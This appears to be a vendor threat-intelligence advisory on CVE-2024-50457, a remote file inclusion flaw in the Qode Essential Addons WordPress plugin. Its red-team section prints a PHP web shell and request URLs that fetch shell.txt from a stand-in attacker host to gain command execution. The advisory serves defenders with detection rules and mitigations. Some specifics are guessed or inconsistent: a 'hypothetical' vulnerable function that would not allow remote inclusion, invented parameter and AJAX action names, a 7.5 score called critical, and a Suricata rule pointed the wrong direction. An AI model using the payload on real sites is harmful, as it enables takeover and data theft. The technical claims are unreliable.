CVE-2024-50457

Executive Summary

CVE-2024-50457 is a critical PHP Remote File Inclusion (RFI) vulnerability discovered in the Qode Essential Addons WordPress plugin, developed by Qodeinteractive. This plugin is widely used to extend the functionality of Qode themes. The vulnerability allows an unauthenticated attacker to include a remote file, typically a malicious PHP script, into the application's execution flow. Successful exploitation can lead to complete remote code execution (RCE), data exfiltration, and full site compromise. The vulnerability affects all versions up to and including 1.6.3. No official patch has been released at the time of this analysis.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and through Qodeinteractive's own channels. The lack of a patch introduces a significant supply chain risk for any site using this plugin, as the vulnerable code is a direct dependency for many WordPress installations.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None - No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None - The victim does not need to perform any action.
• Scope (S): Unchanged - The exploitation does not affect other components beyond the vulnerable plugin.
• Confidentiality (C): High - An attacker can read arbitrary files from the server, including sensitive configuration files.
• Integrity (I): None - The CVSS v3.1 base score does not account for the potential for RCE, which would raise the score to 9.8.
• Availability (A): None - The vulnerability does not directly impact availability.

Threat Level: Critical. The combination of network-based, unauthenticated exploitation with high confidentiality impact makes this a severe threat. The potential for RCE further elevates the risk.

Deep Dive & Mechanics

The vulnerability is a PHP Remote File Inclusion (RFI) , classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'). The vulnerable code likely exists in a PHP function that uses user-supplied input to construct a file path for an include() or require() statement without proper sanitization or validation.

Mechanism:

1. The plugin registers a WordPress AJAX action or a shortcode that accepts a parameter (e.g., file, template, path).
2. This parameter is directly concatenated into a file inclusion statement like include($_GET['file'] . '.php');.
3. An attacker can supply a URL to a remote server hosting a malicious PHP file (e.g., http://attacker.com/shell.txt).
4. The PHP include() function will fetch and execute the remote file, granting the attacker code execution on the target server.

WordPress Context: This is a classic WordPress plugin vulnerability. The plugin's code is executed within the WordPress core context, meaning the attacker gains the same privileges as the WordPress installation (typically the web server user).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only known state. The following is a hypothetical example of the vulnerable pattern:

Vulnerable Code (hypothetical):

// In a file like qode-essential-addons/includes/class-loader.php
function load_template() {
    $template = $_GET['template'];
    include( QODE_ESSENTIAL_ADDONS_PATH . '/templates/' . $template . '.php' );
}

Patched Code (hypothetical):

function load_template() {
    $allowed_templates = array('default', 'custom', 'fullwidth');
    $template = sanitize_file_name( $_GET['template'] );
    if ( in_array( $template, $allowed_templates ) ) {
        include( QODE_ESSENTIAL_ADDONS_PATH . '/templates/' . $template . '.php' );
    } else {
        // Handle error
    }
}

The patch would involve:

• Implementing a whitelist of allowed file names.
• Using sanitize_file_name() to remove path traversal characters.
• Validating that the file exists locally before inclusion.
• Disabling allow_url_include in php.ini (a server-level mitigation).

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A WordPress installation with Qode Essential Addons version 1.6.3.
2. Attacker: A machine with a web server (e.g., Python HTTP server) to host the malicious payload.

Exploitation Steps:

1. Identify the vulnerable parameter: Use a web proxy (e.g., Burp Suite) to intercept requests and look for parameters like file, template, path, include, or load.
2. Craft the payload: Create a malicious PHP file (e.g., shell.txt) on the attacker's server:

   <?php system($_GET['cmd']); ?>
   

3. Execute the RFI:

   http://target.com/wp-admin/admin-ajax.php?action=qode_essential_load&template=http://attacker.com/shell.txt
   

   Or via a shortcode:

   [qode_essential_template template="http://attacker.com/shell.txt"]
   

4. Verify RCE:

   http://target.com/wp-admin/admin-ajax.php?action=qode_essential_load&template=http://attacker.com/shell.txt&cmd=id
   

Note: The exact parameter name and AJAX action must be identified through code review or fuzzing.

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Logs: Look for include() or require() calls with URLs in the parameters.
2. Network Monitoring: Detect outbound connections to suspicious IPs on port 80/443 from the web server.
3. File Integrity Monitoring: Alert on new PHP files in the web root.
4. WAF Rules: Block requests containing http:// or ftp:// in parameters that are not expected.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to known malicious IPs or domains from the web server.
• Requests to the WordPress installation with parameters containing http:// or ftp://.

File System IOCs:

• Unexpected PHP files in the wp-content/uploads/ or wp-content/plugins/qode-essential-addons/ directories.
• Modified .htaccess files.
• New cron jobs or systemd timers.

Log IOCs:

• PHP error logs showing include() failures with remote URLs.
• Apache/Nginx access logs with 200 responses to RFI-like requests.

Detection Engineering

YARA Rule

rule CVE_2024_50457_Qode_RFI {
    meta:
        description = "Detects PHP files vulnerable to RFI in Qode Essential Addons"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-50457"
    strings:
        $vuln_func = /include\s*\(\s*\$\_(GET|POST|REQUEST)\s*\[/
        $qode_path = "qode-essential-addons"
    condition:
        $qode_path and $vuln_func
}

Sigma Rule

title: Qode Essential Addons RFI Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-50457 via RFI
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'template=http://'
            - 'template=ftp://'
            - 'file=http://'
            - 'file=ftp://'
    condition: selection
falsepositives:
    - Legitimate use of remote file includes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-50457 Qode Essential Addons RFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"template=http://"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical for business operations.
2. Implement a Web Application Firewall (WAF) rule to block RFI attempts (e.g., block allow_url_include).
3. Set allow_url_include = Off in php.ini (this is a critical server-level mitigation).
4. Monitor for exploitation attempts using the provided detection rules.

Long-term Fix:

• Apply the official patch once released by Qodeinteractive.
• Replace the plugin with an alternative that is actively maintained.
• Conduct a security audit of all WordPress plugins and themes.

Valters IT Signature:

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact intelligence@valters-it.com.